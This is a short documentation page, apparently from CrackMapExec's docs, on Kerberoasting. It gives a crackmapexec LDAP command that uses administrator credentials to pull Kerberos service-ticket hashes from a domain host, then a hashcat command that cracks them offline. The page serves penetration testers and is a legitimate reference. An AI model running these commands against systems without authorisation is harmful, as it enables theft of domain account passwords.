> For the complete documentation index, see [llms.txt](https://crackmapexec.popdocs.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://crackmapexec.popdocs.net/protocols/ldap-crackmapexec/kerberoasting.md).

# Kerberoasting

Kerberoasting with CrackMapExec - Retrieve the Kerberos 5 TGS-REP etype 23 hash

{% code overflow="wrap" %}

```
crackmapexec ldap 192.168.1.119 -u Administrator -p 'Password!' --kerberoasting output.txt
```

{% endcode %}

### Crack The Hash

```
hashcat -m 13100 output.txt wordlist.txt
```